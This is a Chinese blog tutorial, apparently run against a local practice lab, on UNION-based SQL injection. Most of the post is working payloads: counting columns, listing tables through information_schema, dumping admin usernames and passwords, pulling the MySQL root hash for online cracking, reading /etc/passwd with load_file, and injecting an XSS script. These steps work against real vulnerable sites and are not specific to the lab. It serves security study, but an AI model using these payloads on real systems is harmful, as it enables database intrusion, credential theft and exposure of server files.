zoukankan      html  css  js  c++  java
  • 简单的SQL注入

    一、SQL注入原理

    1.做sql注入的时候首先改一下环境,如果出现错误的话,先看看是不是因为php版本过高的原因,将版本改为5点几的,到phpstudy中找环境,改版本

     

     

     修改完毕,再去网站中执行http://127.0.0.1/sql/  这里的sql是电脑上的一个文件,这个文件就是搭建环境的关键

     二、SQL注入演示

    1.判断是否存在注入点

     2.union

    ①:union的作用:

       ——union后面可以继续接select语句

       ——union可以跨表查询

       ——union后面查到的结果的列数要和前面的语句一样

       ——如果union前面的条件执行结果为false,则只显示union后面的结果

     3.获取列数

    当什么都不知道的时候,如何获取表中都有哪些字段(关键字:order by)

    order by 属于排序,但是知道列名才能排序,这里我们就要去试试了

    order by 1

    order by 2

    order by 3

     

     那么到浏览器中怎么去实验呢,如下:

     

    4.获取列在网页上的位置(定位)

      知道列数,但是并不知道准确位置,如下如,没有1,也就是id这一列没有,

    5.获取数据库

    select database()获取我当前所在的是哪个数据库

    union select 1,2,3

    union select  1,database(),3 ,也就是在2的位置显示查询的结果,带入网页,还是将union左边的改为false,也就是id=-1(union select  1,database(),3 )

     user

    6.获取数据库是以什么用户登录的 union select  1,user() ,3 

     7.获取端口号

    union select @@port

     

    8.union select 1,@@datadir,3(数据目录信息)

    9.获取版本号(找到版本号就有可能直接破解)

    union  select 1,@@version,3(找到版本号,就可以去网上找针对这个版本的数据库的漏洞)

     10.获取表(知道了在哪个库里面,此时就去获取它具体的表)

    这里就要用到最重要的一张表(indormation_schema)

    UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'security';

     

    11.获取表中的字段

    union SELECT 1,GROUP_CONCAT(column_name),3 FROM `information_schema`.`COLUMNS`

    WHERE table_name= 'users';

     12.获取字段的值

    union SELECT 1, username,PASSWORD 

    FROM security.users WHERE username LIKE 'admin%';

    下图就是获取到admin的账户和密码

     

    13.获取mysql密码

    UNION SELECT 1,CONCAT_WS(0x3A, user, password),3 FROM mysql.user WHERE user = 'root'(这个在自己的电脑上显示password有问题)

    UNION SELECT 1,CONCAT_WS(0x3A, user, authentication_string),3 FROM mysql.user WHERE user = 'root'

     然后将获得的root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9复制,进http://www.cmd5.com

    14.获取任意文件内容

    UNION SELECT 1,load_file('/etc/passwd'),3

    UNION SELECT 1,load_file('/tmp/passwd.txt'),3

     

    15.xss弹窗

    UNION SELECT 1,<script>alert("XSS via SQL injection");</script>,3

  • 相关阅读:
    开发人员创建智能客户端的十大理由
    OpenStack 学习资料总结
    VirtualBox启用嵌套VTx/AMDV
    element ui table 表尾合计行 错位优化
    群友酒方,夜夜十次郎
    跨域 Better
    Unity 重命名一个字段,同时不丢失其序列化的值
    C++ static 变量
    编译安装apache2.4
    centos设置crontab定时执行shell脚本
  • 原文地址:https://www.cnblogs.com/1996-11-01-614lb/p/14105250.html
Copyright © 2011-2022 走看看